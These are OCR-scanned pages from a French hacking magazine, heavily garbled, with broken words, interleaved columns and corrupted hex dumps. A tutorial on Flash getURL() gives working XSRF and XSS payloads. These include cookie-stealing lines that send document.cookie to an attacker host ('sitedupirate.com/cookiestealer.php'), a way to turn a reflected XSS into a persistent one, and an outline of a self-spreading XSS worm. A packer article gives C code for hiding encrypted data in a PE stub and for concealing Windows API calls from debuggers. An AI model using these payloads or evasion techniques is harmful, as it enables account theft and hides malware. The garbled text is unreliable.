told them, “Accountability. If you had accountability for every
transaction, every paclet on the entire internet, to trace back to
the person typing the commands, intemet crime would nearly halt.”
Today, I still balieve that to be true, however the cost associated
would e enormous - not to mention the backlash, However, let’s
step through it for academia’s benafit:

» The reason why blackhat SEO can aist is because Google
cannot programmatically tell whe originated every last byte,

HA.CHER : L Weh, le réseat

RSnake et ID sont deux experts en sécu-
rité ihformatique. Le premier s'attache au
Web, le second aux réseaux et aux OS.Et :
s'il se présentent respectivement comme
« WebApps God » et « Net & OS God

Pictures
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crBirrATRASYLITI IV LSS

3 Dear Google, You Are Giving Me a Poverty. Aboutehoe Sien:
», ce n'est pas sans fourniture : leur blog : WL Pested by rust under Biack Hat St

z % Mo Comments SEO, SEM, Oiher Actopyms
regorge de pistes de recherche et de : -
g = g 2 : : | After reading that Gesgle st a Llogzer mome acetaminophen-after e wrete an article
réflexions trés fournies sur des domaines : sntitied “Disar Google, Teu Are Giving Me a Headache®, what the hall - thought it sras
2 worth & shat. Links

aussi vastes que la cryptographie ou le

cross-site scripting, en passant par un e il !

Spammer

|
|
:
développement trés intéressant sur la : | Suggent A Lk
. Fhtn | o 3 .3 Suggest Link Gréat Reciprocal
blometrae (en da'te dU 9JUI"E’Z, PDLII' mfo). E ? Google Auctions X539 Proof of Consept wnd 3-way Linking Site
URL: f ckers. helais. : Pasted by russ Gndey Biark Hav Ses , Rants and Raves ¥honte SEM Flon
s Hitp:iiha s.org/blog/ (anglais) E ; fsanre :
n I ¥ h : I Mote: Google has now fixed the vulnerability.
“Bg E 3 en Gaﬁ e : | . Pages
e 2 o i Adter o recent artichs by the folks at Ne:Zmart.nst
Un must. Ce blog dédié a Google traite : bt/ et osiart. et fblog/favehivas s which ssemingly downplayed the muerity and  About Jel
S i Aanger possd by RO Coross sife scripting), [fought It partinent t help elucidate just Alraut R
de ses vulnérabilité et de ses travaux i het peesiul K52 can by, The vast mim;lv o XEE provfaf-concepts ara limitad ie il
p—— e : e e T . i X x
TR S e T | | simple Javassriph skarty, Yhen visiting an Xes indacted url, you e sosms pop up that
: ; %@m ﬁ;'fg e | warns youof the vulbetability. This Ismbﬂml.muthiwprmmm
| | undepstared the severity of the injection, Tt o the averags web user it seems o mors Categorios:
: ? dangarviis that any other poj up thay siceunber. ik Hak S 1045
The truth ks, boveywar, Yhat %25 i an sstrensly porrsriul niathed theeisgh which 2 White Hat 3F0 (D)
erinsinal 2an rely on thie trust 3 user places i an individual sned site 1o CodX 3 user tn Raarts and River: [9)

pve up impertant inft matiem, Partbenacre, b i pot Tiindted o juet collecting coolde
data, A vkl dnesutad OB sttack fan drave 3 usay thevtigh an intricate inulti-page frand
vrhete the usr escalates thirogh o provids nof st aemanses and pasrirords, . Take
Fir exaanph the bl

Search:

les restes de la blogosphére
II%existe de nombreux blogs relatits a la sécurité. Nous avons décidé de publier ceux-ci, mais les mots
clés « security blog » vous seront utiles pour dénicher de nouvelles perles que, j'espére, vous viendrez
partager avec nous sur le forum.
e on d'un ¢ | D'avires pi
& ss travaillant sur le fameux / i
moteur de recherche.
URL : Hitp://www.thegoogleca-
che.com/ (anglais)




Technique Flash attacks

Un renouveau pour les X$§

On aurait tort de sous-estimer les multiples possibili-

| mations dynami-
| ques tels que des
menus, des publici-
tés ou encore des
signatures. Il est
_ livré avec un lan-
: “ gage de scripting
By Blwood riche en fonction-
nalités et facilités : I'ActionScript.
Parmi les nombreuses fonctions de
I'Actionscript nous allons explorer plus
en détail getURL(). Cette fonction [I]
permet d'exécuter des requétes GET et
POST.
Sa syntaxe se construit comme suit :
getURL(url:String, [window:
String, [method:String]])

url : désigne l'url du Site,

window : spécifie dans quel cadre la
requéte doit avoir lieu (_self, _blank ...,
par défaut _blank)

method : la méthode de requéte GET
ou POST. (par défaut GET)

On peut s'appuyer sur getURL(), au lieu
de passer par une faille XSS, pour mener
des attaques de types XSRF sur certains
forums ou CMS qui acceptent le bbcode
flash (par exemple Phpbb (addon),
nuked-klan, etc.).

Pour déloger quelqu'un par exemple, on

inclurait I'Actionscript suivant :

getURL("http://site.com/
login,.php?logout=yes",

" _self" );

Cela correspond a une requéte GET

manuelle équivalente.

Flashhack

D'autre part, on peut manier du :
Javascript avec de ['Actionscript. Par :

exemple pour afficher une alerte :
getURL("javascript:alert('Zi
hack' ");

lash est trés :
utilisé  pour :
créer des ani- :

]

tés que nous offrent
: Macromedia, tant du point de vue du multimédia...

les fichiers Flash de

: que de I'exploitation de vulnérabilités. Webmasters :
: pensez a désactiver les signatures flash sur vos sites !

getUn() au lleu dun XSS

srsavsanban

en

wr s

san

saEsEnsanbantan

seansaraasn

I

P OvE @@L

1 getURL("http://site.com/login. php?logout=crus”, v seltty:

En 2002, on démontra le danger de cette
facilité [2] ; on pouvait par exemple affi-
cher le cookie d'un visiteurs de cette
maniére :
getURL("javascript:alert(
document .cookie) ");

A un autre degré un pirate pouvait
inclure un script qui récupére le cookie
de n'importe quel visiteur.

Il'aurait créer un fichier flash comme suit
et l'aurait inclus sur un forum ou autre
grice au Bbcode [Flash]

getURL("javascript:document.
location='http://site.com/
cookie.php?c='+document.
cookie");

Ce code aurait forcé une requéte GET

meeaean

apparen

qui fournirait le cookie 4 une page :

contenant un cookiestealer.

Face i ce danger,Adobe, le créateur de la
technologie Flash a modifié ses modales
de sécurité. Il existe un paramétre
allowScriptAccess [3] qui définit si du

XSRF ?

Araaraan i aar

: code javascript peut-&tre exécuté dans :
impossible a différentier de I'opération :

un fichier flash. Par défaut dans la version
6 et 7 du player, cet valeur était a «
always » , c'est 4 dire que I'ont pouvait
executer du javascript dans un fichier
swf. Depuis la version 8.0, Adobe a
modifié la valeur par défaut a
sameDomain , c'est 2 dire que le code
Javascript peut étre exécuté uniquement
si le fichier flash se trouve sur le méme
domaine de la page ou il est appelé.
Cette mesure stoppait donc toute
exploitation dangereuse.

Flash is Back!

En Décembre 2005, une nouvelle
variante est apparue consistant i profi-
ter d'une Faille XSS non permanente et
de la possibilité de mettre un fichier flash
dans sa signature pour donner une XSS
permanente, beaucoup plus dangereuse.
D'ailleurs l'auteur de cette variante a uti-
lisé cette technique afin d'infecter
MySpace avec un nouveau worm xss
devi¢ de Samy : Samy Reloaded (cf
Rubrique Alerte !).

Le schéma donne :

Faille XSS non permanente + Signature
Flash (permanent) = XSS Permanente

Les attaques dites de XSRF (Cross Site Request Forgery) profitent de la confiance qu'a un serveur
envers le client pour lui faire exécuter une action a son insu, au travers d'une requéte HTTP forgée
a l'aide d'un javascript, d'un formulaire ou d'un lien.

C'est précisement la technique que nous avons utilisé pour montrer la faillibilité des Livehox dans
nofre dernier numéro ou que les vers présentés dans ce numéro utilisent.
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1/ GetURL ["hetp://wew. lesiteviotime

Fabrication du fichier Flash

CUETTRCT LG T EFET T Bl | | 'idée consiste a réaliser une requéte “asnaﬂe

omain suffisant ? : GET sur I'url o se trouve la faille XSS | Notons :

TR NRC I IR i grice a la fonction getURL() de : » httpi/flesitevictime.com le site ol
MNERRUNEEIY S ETAXCACTAC I © |'Actionscript, de cette maniére on pour- i  aura lieu ['attaque

mu[gré que allowScriptAccess soif d « domaine » i rait exécuter un code malicieux de : ©var la variable non proprement filtre,
l'attaque sera possible car e fichier flash se frouve sur  EEEERET IV SEPRRPTTNIES du fichier page.php,

are s

rrammears

le méme domaine ob e javascript est appelé. ¢ o hitpdAvwwwisitedupirate.comiscript.swk
SRR D TERRTERIET S © Nous allons voir comment exploiter ce i l'url ol se trouve notre fichier Flash,
R e A R NGNS R®  concept (via une faille XSS non-perma-  + hihwwisied pireiacombssnoreiier pras-

hassen

never », de cette maniére le jovascript ne JEEENSNTSW : aiptoontenances istuctions rraldeuses A eeater

peut plus s' éxecuter via un un fichier flush. |8 P = g L e

<0bjECt e xss + Flas Hss | .

<param name='"movie" \ g msmem ; y9 ¢ © V
e ormanent” ||

<param

W

name="allowScriptAccess"

Y€€ Ao ey ?
Talies'niaver> | X$§ permancat 2

Pour rappel les failles XSS, Cross Site Scripting, proviennent d'un mauvais filtrage des paramétres
uilisateur et permettent l'injection puis I'exécution de code html ou javascript dans les pages vulné-
rables. Le code ainsi injecté étant exécuté avec les privileges de l'vtilisateur visitant la page, cela
entrafne des problemes sérieux de sécurifé.

On distingue les failles XSS permanentes qui son stockées de maniére permanente sur un serveur
(ex : forum, livre d'or), ef les failles XSS non-permanentes qui sont aussi dites réfléchissantes. Ces
dernidres proviennent généralement d'un mauvais filtrage de variable dans les urls ou les formulai-
res de type GET. Les failles XSS non permanentes nécessitent donc une action exiérieure pour éfre
efficace, comme par exemple un clic.

</object>

Il faut également faire attention au
fichiers flashs généres dynamique-
ment, ou qui pourraient faire

i certaines requétes via getUrl, en
& fonction de parameétres utilisateur.
Dans tous les cas, il vaut mieux ne pas
permettre l'upload de ces
fichiers sur votre site: B Lo fechnique présentée dans cet arficle nous perme d'obtenir un dlic « automatique ».

.
H
.
.
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Le code javascript

Il faut donc créer un fichier .swf qui
envoie une requéte GET sur notre XSS
non permanente :
GetURL("http://www.lesitevic-
time.com/page.php?var=<script
src="http://www.sitedupirate/
x8s.js'></script>"," self");

De cette maniére le contenu de notre
fichier xss.js sera exécuté sur le site victime.

Une premiére idée qui vient 4 I'esprit est
de voler le cookie en utilisant une redi-
rection vers un cookiestealer :
document . location=
"http://sitedupirate.com/
cookiestealer.php?
cookie="+document.cookie;

Mais, étant donné que notre xss non per-
manente est devenue une xss permanente,
grace a notre fichier flash qui est stocké de
maniére permanente dans la signature, on
peut aller plus loin et méme construire un

worm xss en utilisant Xmlhttprequest (cf :
article rubrique alerte !), qui injecterai le :

lien vers le fichier script.swf dans le profil
des visiteurs pour ainsi se propager tou-
jours de plus en plus vite...

AreAraAr AL

Conclusion

Cette nouvelle technique de mixage de
technologie web, affirme toujours

: d'avantage la faiblesse des modéles de

b

i sécurité des navigateurs et des plugins

: comme Flash,
i Dans ce web toujours en pleine expan-

T T e

sion, ol les technologies de cessent d'af-

.
»
b
b
P
.
.
H

P o

fluer et de se développer, on ne pense :

plus & la sécurité mais a offrir toujours :

de nouvelles options.
Dans le cadre de cet article, nous avons

vu que la fonction getURL() offre aux :
pirates de nouveaux horizons, de nouvel- :

les possibilités.

Blwood :

[1] : hitp:/iwiki.media-box.net/
documentation/flash/geturi

[2] : hitp:iiwww.cgisecurity.comflib/
flash-xss.htm

[3] : hitp:Hwww.adobe.comifr/
devnetiflashiarticles/
iplayer8_security 09.html

Flash ve. XHTMU

Pas hesoin de flash, ni méme de technologie
propriétaire pour en mettre plein les yeux.
Pour preuve, cette implémentafion de
Lemmings! entierement codées en utilisant les
standards ouverts du Web :

; ;

Il'est important de préciser que la faille xss ne doit pas forcément se trouver dans I'url, on aurait
fres bien pu exploiter cette technique sur une faille xss se trouvant dans un formulaire. Voici un

exemple de requéte POST avec gefURL :

var variable:String =

"\"<script>alert('xss')</script>";

var env:String = "envoie";

getURL( "http://blwood.net/experiences/flash.php", " blank",

"POST") ;
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Technique Packers et unpackers (suite et fin)

llne avtre vmon (suite ct fin)

ous avons vu
dans un pré- i
cédent arti-

cle que [I'écriture
. d'un «
packeur/unpacker
» pouvait étre une
chose  relative-
W ment facile si I'on
: y apportait un peu
By g3d de rigueur.
L'approche qui en

en a été faite consistait A dire « faisons
en langage évolué ce qui en langage

et aEvAsTLItLAEserRaArTAT AL

PeATEATI AL AR LA LS

assembleur ressemble quelque fois a une :

galére ».

L'évolution proposée ici est décrite en
deux options. Ces deux options sont
indépendantes et peut ou pas étre inté-
grées dans la version de base. On res-
pecte le précepte annoncé dés le début
: la modularité et l'indépendance des

classes.
Une mﬁa :
plus Sﬂcﬁﬂlﬂmﬂlisﬂ

Les fonctions de base sont les mémes,

: Vous avez pu constater dans le numéro précédent qu'il
était beaucoup plus aisé de créer un packer d'exécutable
en langage de haut niveau qu'en assembleur pur. Mais il
est temps d'aller plus loin et de pousser plus a fond les
possibilités de cette approche, notamment en matiére de

camouflage d'API.

es paramet

{a derniere

les outils ?

Ils sont les mémes que ceux qui mon permis de développer le packeur/unpackeur (cf numéro pré-

cédent) : PE Explorer version 1.97 et PEBrowe Professionnel version 7.11.5.0 et I'inévitable OllyDbg
hien connu des programmeurs. Comme dans la version precédente {'ai utilisé Visual studio G+ de
chez Microsoft, un compilateur sans plus.

PEBrowse :

PE Explorer :
0llyDhg :

 Le Packeur

on ne crée plus une section supplémen- :

taire et I'on cache les APl dans le loader
vide. Nous allons injecter a la fin de la
derniére section du« loader vide », un
fichier. Le fichier est compressé et
crypteé. Jusque la rien de bien compliqué,
cet aspect a déja été décrit ou com-
mente.

La ou les choses se compliquent un
pey, c'est qu'il faut écrire quelque part
dans le fichier cible la description de
tout ceci. Le format de type « PE » tel
que le décrit Microsoft sur son site, ne
nous laisse aucun loisir de stocker des
informations dans les multiples champs
que comporte sa structure. En regar-
dant de plus prés nous avons le choix
d’agrandir la zone dite « Stub ». Nous
allons donc mémoriser |a description
de du fichier 2 la fin du « Stub » origi-
nal, la taille plus un pointeur sur le
début de celui-ci.

Regardons de plus prés chaque étape.
Ces différentes étapes sont similaires a

i ce que I'on a déja vu dans le précédent
i article. Nous allons modifier la classe qui

avsavs

crasvLITARYS

Siesearae

réalise |'injection d’un buffer crypté. Elle
ne doit plus créer une section supplé-
mentaire mais insérer ce buffer en fin de
la derniéere section. Il faut que I'on
mémorise la taille du buffer inséré dans
cette section ainsi qu’un pointeur sur le
début de la zone insérée. C'est assez
simple : deux « DWORD » suffisent.
Les modifications dans la classe d'injec-
tion et dans la classe de d’extraction ne
seront que mineures. Nous allons donc
ajouter deux fonctions qui réalisent res-
pectivement la lecture et I'écriture de la
partie Stub (voir code en encadré).

On doit maintenant sauvegarder les
paramétres de la derniére section et les

ajuster avec le nouveau contenu. Voir :

encadré.

Il nous reste qu'a écrire le tout dans le
fichier de sortie :
[ee0]
//On écrit les entétes dos
et nt
fwrite (&Dos_header,

sizeof (IMAGE_DOS_HEADER),
1,result);

// Eeriture du Stub modifié
et rallongé

WriteDosStub(
result,
(DWORD*) &1g ressource crytree,
(DWORD *)&sauve offset cryptee
)i

fwrite (&Nt_header,sizeof (IMAG
E_NT_ HEADERS),

1,result);
[]

Puis vient I'ajout plus loin du buffer en fin
de la derniére section. Il ne faut surtout

i pas oublier de faire du « padding » en
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' I ne aour reste alors qu'a modifier lo B de laisdetinnainstmoditice.

//on lit les entetes

fread(&Dos_header,
sizeof (IMAGE DOS HEADER), //on met ensuite les datas
1,exe); : cryptées '

// Lecture du bos Stub ! fwrite((char *)pt_in crypted,
ReadbDosStub(exe); lg_ressource crytree,
fread (&Nt header, 1,result);

sizeof (IMAGE NT HEADERS), //padding sur notre section
1,exe); améliorée

for (DWORD al =

tab_sections[nb_sections-1].
Misc.VirtualSize ;

al < tab_sections|

[.]

R T ey

cty
-]
void G3D::ReadDosStub{FILE *exe)
{
Lg _DosSub = Dos header.e lfanew - ftell(exe);
Buffer DosStub = (char*) malloc(Lg DosSub);
fread(Buffer DosStub,Lg DosSub,1,exe);
}

L T T

void G3D::WriteDosStub(FILE *result,DWORD *pt lg cryptee,
DWORD *pt offset cryptee)
{
fwrite(Buffer DosStub,Lg DosSub,l,result);
furite(pt_lg cryptee,sizeof (DHORD), 1, result);
furite(pt offset cryptee,sizeof (DWORD),1,result);

I
ou' ioater vide »
Nous devons apperter des modifications

sur la classe qui réalise la relecture du
buffer crypté. Nous avons sauvegardé la

ne pbas oubler de fare adu
« badaing » a la fin de la section

FANSA S AN A b AR e e
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Savvegarde des parameétres
el

//Sauvegarde du pointeur sur les datas du fichier source

sauve lg cryptee
sauve offset cryptee
tab sections[nb_sections-1]

lg_ressource crytree;

‘Misc.VirtualSize;

//Le saut par dessus le Stub doit étre modifié

Dos_header.e lfanew

Dos_header.e_lfanew + (2* sizeof(DWORD));

//0n ajuste différents paramétres

tab_sections[nb_sections-1].Misc.VirtualSize =
tions[nb_sections - 1].Misc.VirtualSize + lg_ressource cry-

tree;

de la derniére section

tab sec-

tab_sections[nb_sections-1].SizeOfRawData =
RoundAddress (tab_sections[nb sections -

1] .Misc.VirtualSize,CodeBase) ;

//Calcul de la taille de l'image finale
Nt_header.OptionalHeader.SizeOfImage = 0;

for (int i = 0 ;

i < nb_sections; i++)

{Nt_header.OptionalHeader.SizeOfImage =
Nt_header.OptionalHeader.SizeOfImage +

tab_sections[i].SizeOfRawData;}

[Liad]

all format PE

taille des données cryptées et un poin-

teur sur le début des datas cryptés le :

tout en fin du « Stub ».Afin d'y accéder
plus simplement, on crée un objet dont :
l'acceés peut se faire de deux maniéres
différentes: en écriture a travers un poin-
teur sur un buffer de caractéres, et en
lecture & travers deux DWORD,

Le langage C nous permet cela trés faci-
lement a 'aide de « I'outils » Union.

[---]

e RAsrea AT ar AT RARTAFAR A a A a T

struct _g3d private {
DWORD Lg crytree;
DWORD pt_lg crytree;
}i

struct _lecture g3d {
union {
char buffer lecture[8];
_93d _private my struct;
i

}i

S PR R R

[---]

FertersansenrsnrrarTEse

On pointe sur la derniére section :

saresessrrErean

le structure conforme
le Windows”

i trouve
i My_Header.PointerToRawData +
: pt_lg_crytree ».

L[] .
// Chargement la description

: de la derniére section

for (int i = 0;

i < Nt_header.FileHeader

«NumberOfSections;
it+) {
// Copy data to header
CopyMemory (
&My Header,
(LPVOID)Local,
sizeof (IMAGE SECTION HEADER));
Local = Local
+ sizeof (
IMAGE_SECTION_HEADER) ;
} // end for
[«]

Yoir I'encadré pour I'extraction des don-
nées ; attention le buffer crypté se
pointé par «

Si l'on regarde la structure du fichier
d’'entrée dit « packeur_vide_vl » on a
une structure conforme a un format bien
connu « PE » pour Windows.

Voir les dumps héxadécimal avant et

e e e Tl e e e S L S R D

S ene

neea

apreés l'injection. La section
IMAGE_DOS_HEADER n'a pas changé
par contre le Stub a bien été « rallongé
». Le saut par-dessus le Stub a bien été
modifié, et « IMAGE_NT_HEADERS »
demeure inthangél

Nous avons grice 4 la modification de
deux classes I'une dans la « packeur »
et l'autre dans le « unpackeur » nous
ayons fait disparaitre une section qui tra-
“hissait la présence de « datas ».

La technique qui consiste & cacher les
appels aux APl de Windows a fait I'objet
de nombreux articles dans la revue, Je
yous propose une version encapsulée

i dans une classe. Afin de coder cette
i classe je ne suis inspiré de deux articles
i parus dans la revue que je jugeais trés
i intéressant : Iun traiter des appels API

cresrenrenren

en assembleur et du brouillage des
appels vis-a-vis des outils tels que des
débogueurs (IDA, etc..) et lautre

¢ rechercher dans « Kernel32 » monté
i en RAM, I'adresse d’une API.

srsarsans

cawa

: Avant de vous la détailler, je voudrais

aborder un aspect plus philosophique, je
m’explique. Si l'on me présente

i aujourd’hui un programme ou il n'y a pas

e S = e S e

SrrAmsLRTARTLREAASEARSaETA

Extraction

[-]
Local

m_pFileData
+ Dos_header.e lfanew;
local = Local - sizeof(my info);

// Lecture du buffer de sauvegarde
des informations
RtilCopyMemory (
&my info.buffer lecture[0],
Local,sizeof (my info));

// Allocation du buffer gui va
bien
buffer data =
(char*) malloc(my info.
my struct.Lg crytree);
// Ajustement du pointeur sur les
datas
Local = m pFileData
+ My Header.PointerToRawData

+ my_info.my struct.pt lg crytree ;

// Extraction des fichiers & par-
tir de 1'exécutable
Rt1lCopyMemory (buf fer data,local,
my_info.my struct.Lg crytree);
-]
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10 [ 16Edit FX ] - "K:\pplication(s)\wwwwwwiversion V1\WPackeus _vide v .exe” [READ. ..

® B 23

000000402 -
NO0000ED:

NOD000E0;

00000070:

00000080

00000090:

000D00AD:

000000BD:

000000C0:

DO0000D0: EEEEERE RS 00 24 o £8 &1

DOO000ED:  (MERMEINERATARNT T 45 00 00

DODODOFO: 0 Ol 00 00 00 00

00000100: 00 BO 00 00

BO000LL0: - 00 30 00 00

00000L20: 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 ..... A S O
l00000120: 04 00 00 00 00 00 00 00 DO EO 00 00 00 10 00 00 .........8......
NO000140: OO 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 ....vevevenveans
00000150: 00 00 10 00 00 10 DO 00 00 OO0 00 00 10 00 00 00 ...ccnvevevanvins
pO000160: 00 DO 00 00 OO 00 00 00 34 36 00 00 50 00 00 00 ........ o] -{E R
00000170: 00 80 00 00 38 EA 00 00 00 00 00 00 00 00 00 00 .€..82..........
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 . ...ccvvurcnennn
POO00OLE0: 00 32 00 00 1C OD 00 00 00 00 00 00 00 00 00 00 .2..ccuneunesess
Offset: OxO0O000040 - OxDO00D0E? Zize:0x000000A8 -

vide_vi1.exe” [READ...

00000040:
00000050:
00000060:

000000D0: A 249 00 z4 52 £9 63 62 A1 FE
000000KD:  [KiE s 00 00 01
DOOOOOFD: 4B 35 44 00 00 00 00 00
00000100: OB 0L 07 OA 00 20 00 00 00 BO 00 00 00 00 00 0O
00000L10: ED 25 00 00 00 10 00 00 00 30 00 00 00 0O 40 0O
00000L20: 00 10 00 OO0 00 10 0D 00 04 00 OO0 00 00 00 0O OO
nOo00L30: 04 00 00 OO0 00 OO 00 OO 00 BO 00 00 Q0 10 00 00
00 00 00 00 02 00 OO0 00 00 00 10 OO0 OO 10 00 QO
00 00 10 00 OO0 10 00 00 00 0O 00 00 10 00 00 00
00 00 00 OO0 00 00 00 00 34 36 00 00 50 00 00 0O
00000170: 00 80 00 00 38 SA 00 00 00 00 OO 00 OO 0O 0O 0O

00000180: 00 00 00 00 00 0D 00 00 00 0O 00 00 00 DO 00 00

nO0001S0: 00 22 00 00 1C 00 00 00 00 00 00 00 0O 0O 00 00

Offser: Ox00000040 ~ Ox0O0000E7 Size:0x000000AS -
e s

Stub apres injection

un seul appel aux APl de Windows, ma
curiosité va étre accrue. Je vais donc
regarder de plus prés pour comprendre
et finir par trouver avec plus ou moins
d'effort les tenants et les aboutissants.

: sents, je ne soupgonnerais pas les appels
: cachés et il me faudra un plus grand
: effort pour trouver ceux qui sont
i cachés. De plus si un appel existe du type
i « OpenFileHandle » et si je ne trouve
Par contre s'il existe des appels pré- :

pas le « CloseFileHandle», ma curiosité

: va é&tre décuplée. Donc si 'on masque
i quelque chose, il ne faut oublier de res-
i ter cohérent. De la méme si votre pro-
: gramme appelle « OpenFileHandle »
i dans une partie dite normale et dans une
i partie plus sensible, on donc fait appel 2
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cette méme APl : on ne masquera que
I'appel dans la zone plus sensible. Cet :
aspect est non négligeable, je pense a !
tous ceux qui se font une joie de tout :
cacher, ils devraient réfléchir et voir leur i
programme avec une autre approche :ne !

faisons I'effort que |a ou c'est nécessaire,

Je ne veux pas donner de code ni étaler
le code de la classe « Cache_AP| »,car :
je juge que l'idée de base ne m'appar- ;
tient pas, j'ai juste repris I'idée de base et :
généralisé, rien d’autre. Laissons aux dif- :
férents auteurs de ces deux articles leur :

propriété intellectuelle.

Afin de vous montrer mon approche, je
vais utiliser un exemple. Soit 4 cacher la
fonction « CloseFileHandle ».

Dans le fichier qui contient I'appel a API
« CloseFileHandle » on va lui substituer
I'appel suivant
Cache_My_CloseFileHandle,

Dans le fichier .h de la déclaration de la
classe associée on va trouver :
f#define
Cache_My CloseFileHandle(A)
\
{\

Cache API *pt_api = \

new Cache API ;)\

pt_api-> My CloseFileHandle();\

delete pt_api;\

i
Afin de simplifier, le passage de
« CloseFileHandle » a
« Cache_My_CloseFileHandle » je vous
propose pour la fonction
« My_CloseFileHandle » d’avoir le
méme nombre de paramétres et surtout
le méme type. On fait appel 2 la fonction
« My_ CloseFileHandle » dans la classe
« Cache_API » pour chaque fonction a
cacher on va retrouver un « define »
correspondant. On aura donc autant de
fonctions dites « publiques » que d'ap-
pel d’API. Afin de mettre au point plus
facilement I'appel des Api de Windows
en assembleur, je vous propose d’abord
de faire un appel dit standard puis de
demander au compilateur de votre choix

de générer le code assembleur et de :

regarder un peu comment il s'y prend,
c’'est quelque fois trés instructif,
Regardons d’un peu plus prés cette fonc-

tion. Elle mérite quelques commentaires. :
Le tableau de caractéres « liste chaine :
» contient pour chaque APl le mon de la

fonction un peu « caché ». La fonction
retourne un pointeur sur une chaine de

Thevsaerssssareavaan

L R R S PSP,

L

Activer et désactiv

le marquage J°API

// utile si l'on veut masquer les API

#define CACHE APT 1

// pour chaque API appelée dans la code on peut écrire :

#indéf. CACHE API

My CloseFileHandler (Handler)

#else

CloseFileHandler (Handler) ;

#endif

// la mise au point est plus simple

[aal

caractéres décodés. Ces deux fonctions
ont été décrites dans le premier article.

[--]1
My_ CloseFileHandle (
HANDLE pt handle)

{
DWORD Adresse_api;

Adresse_api =
transforme (
chaine car|
Equiv CloseFileHandle] [0]);
asm
{
push pt handle
push Adresse api

recherche api(

La fonction « recherche_api » est basé
I'article paru dans le magazine précédent.
En regardant de plus prés on s'apergoit
qu’'en RAM ['accés i la premiére DLL ce
fait a travers un descripteur pointé par le

e P P e S

Frassavsaevasvary

registre Fs. De plus I'accés 4 la deuxiéme

DLL se fait par un pointeur sur le des-

cripteur suivant ainsi de suite : une liste
chainée. Profitons de cette observation
pour ne plus chercher une adresse d'API
que dans KERNEL32 mais dans les autres
DLL montées en RAM. Il ne faut pas
oublier que 'on a en RAM la liste de DLL
montées par le noyau. C'est cet aspect
qui apporte a la fonctionnalité de base, un
plus. Ne voulant pas vous offenser, je ne
décris pas le parcours de cette liste chai-
née. L'appel de I'API se fait en assembleur
et on brouille un peu les pistes, 'ai pris en
compte les remarques parus dans le
magazine sur les appels des APl en
assembleur.

Ceci constitue le dernier article sur :
« Une autre vision Packeur/Unpackeur »

g3d

Il est possible de rentrer en contact avec
Pauteur de cet article - comme tous les
autres. Pour ce faire, merci de passer par la
rédaction du journal qui transmettra,

Bonus : Un ou plusieurs fichiers 2

On peut frés hien imaginer de plus intégrer un seul fichier mais un certain nombre. Pour ce faire il
suffit de revoir simplement le contenu du buffer crypté. Si le contenu contient plusieurs fichiers, on
écrit en entéte le nombre de fichiers suivi pour chague fichier du nom, la taille dit fichier, un poin-
feur sur le début de chaque fichier. Arrive en suife tous les fichiers mis les uns & la suite des autres,
le tout dans un buffer que I'on crypte. A l'extraction on parcourt la structure décryptée en I'on
exiraif les fichiers les uns aprés les autre. Ce mode de fonctionnement ne nous vous rappelle rien :
on n'est pas trés loin du fonctionnement d'un vieil outil des années 1990 PKZIP/PKUNZIP, ¢'était
I'ancétre de l'incontournable WINZIP bien connu de tout le monde.
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- Quiveut Ia mort
d'Intermnet?

10 heures 45 - 11 heures 30 : Yannick Chatelain, auteur de Hackers, le cinquiéme pou-
« Les nouveaux terroristes (1 . voir paru il y a quelques années, met en sceéne les diri-
Georges - A ce stade de la conférence, : eants plus s imaginaires de ce monde onfron
vous en &tes conscient, du moins j'ose ! gea plus ou moins imaginaire 2 nae, c 3
l'espérer, I'heure n'est plus & essorer ses tés lors d'un colloque secret aux tracas que leur cause
mouchoirs, I'heure est grave. Pour mieux : Internet dans I'exercice de leurs petites affaires. Mélant
combattre chers amis, il faut savoir pre- : gyec malice faits réels et fiction, dans une ambiance
cisément de qui nous parlons et qui sont : e : i 3 e
foe enamis tes adbrareurs du vesest; i-conspirationiste bon enfant, ce livre est a la fois drble, ins-

ces inconditionnels du clavier, de la vie ; tructif et inquiétant. Deux extraits.
privée (« berk » apparu sur ['‘écran) et du ?
libre accés a l'information (« re-berk »

! « non-voyant », les handicapés en « per-

Faareanaan

clignota sur ['écran). Pour nous les gou- : Yosslek CHATRLARY : sonnes a mobilité réduite » ; nous ferons
vernants, il faut dire les choses claire- : i des hackers des « terroristes » et au-del3,
ment, il n'y a pas de bon ou de gentils : Oui veut ta mort d'internot ? i tout ce qui nous fait chier : terroristes !
bidouilleurs informatiques. Pas plus qu'il : ! [l

n'y a de bons ou gentils terroristes hors . ’“"T&rﬂm“"”‘

les notres. Dieu merci depuis ce onze !
septembre j'ai su montrer la voie pour !

museler ces parias de la société. Cest
d'une simplicité déconcertante, pour ne
pas dire désopilante. Une petite manipu-
lation sémantique suffit. Il suffit d'appeler
un chat...

Participant (I'interrompant) = Un chat?

Georges - Décidément certains vont ;
avoir plus de travail que les autres, :

Qui veut la mort d'Internet, Impact tech-
nologique et sociologique du Onze sep-
| i tembre, par Yannick Chatelain chez

i L'Harmattan, 224 pages, environ 20 euros
| i surAmazon.com, FNAC.com, etc.

rea

sawss

{ i L'auteur a également rendu publique sa
i thése intitulée Management de l'innova-
i tion, Internet et Déviance : Une typolo-

Georges s'adressa directement 2 hackers par les entreprise, disponible en
« I'égaré ». |l suffit d'appeler un Chat...un i : libre téléchargement sur :

Chien. Tout comme nous avons trans- : U asitn i http://www.mag-securs.com/
formé les aveugles de cette planéte en : > ; article.php3?id_article=5366

|
i
1
1
1
|
] ! gie pour lintégration des logiques

Ty e

Ca y est j‘avais le job, c'est ma femme qui | alluit éire contente, elle qui me prenait pour un escroc @ |a petite semaine. Tu parles, ¢a lui rabattait son

caquet ! le BDC, lui n'avait pas mis frés longtemps @ détecter mon pofentiel, et ma capacité d fromper @ duper tout le monde. Certes j‘avais bien té choppé

une ou deux fois, et cela faisait un peu tache sur mon CV mais le sergent m'avait dit, que 'apprentissuge se fait parfois dans la douleur. Et o I'exercice

prafique avais 616 parmi les mieux noté. Pas un exercice trés compliqueé en soit puisqu'il s'agissuit de

faire passer une consfitution européenne  ce peuple crétin de frangais. On avait ey une heure pour plancher sur le sujet. Ensuite j'avais eu deux minu-

fes pour exposer ma stratégie qui tenait en quelques points : Sortir au plus vite un sondage négatif, pour bénéficier du coté « underdog » hien connu, et

dans un second temps culpabiliser & mort le citoyen, limite lui faire honte. Le sergent trouvait un peu exagérer de parler d'une responsabilite devant I'hu-

manité mais mo je frouvais que ca pétait bien. Mais bon je I'avais quand méme enlevé de ma présentation.

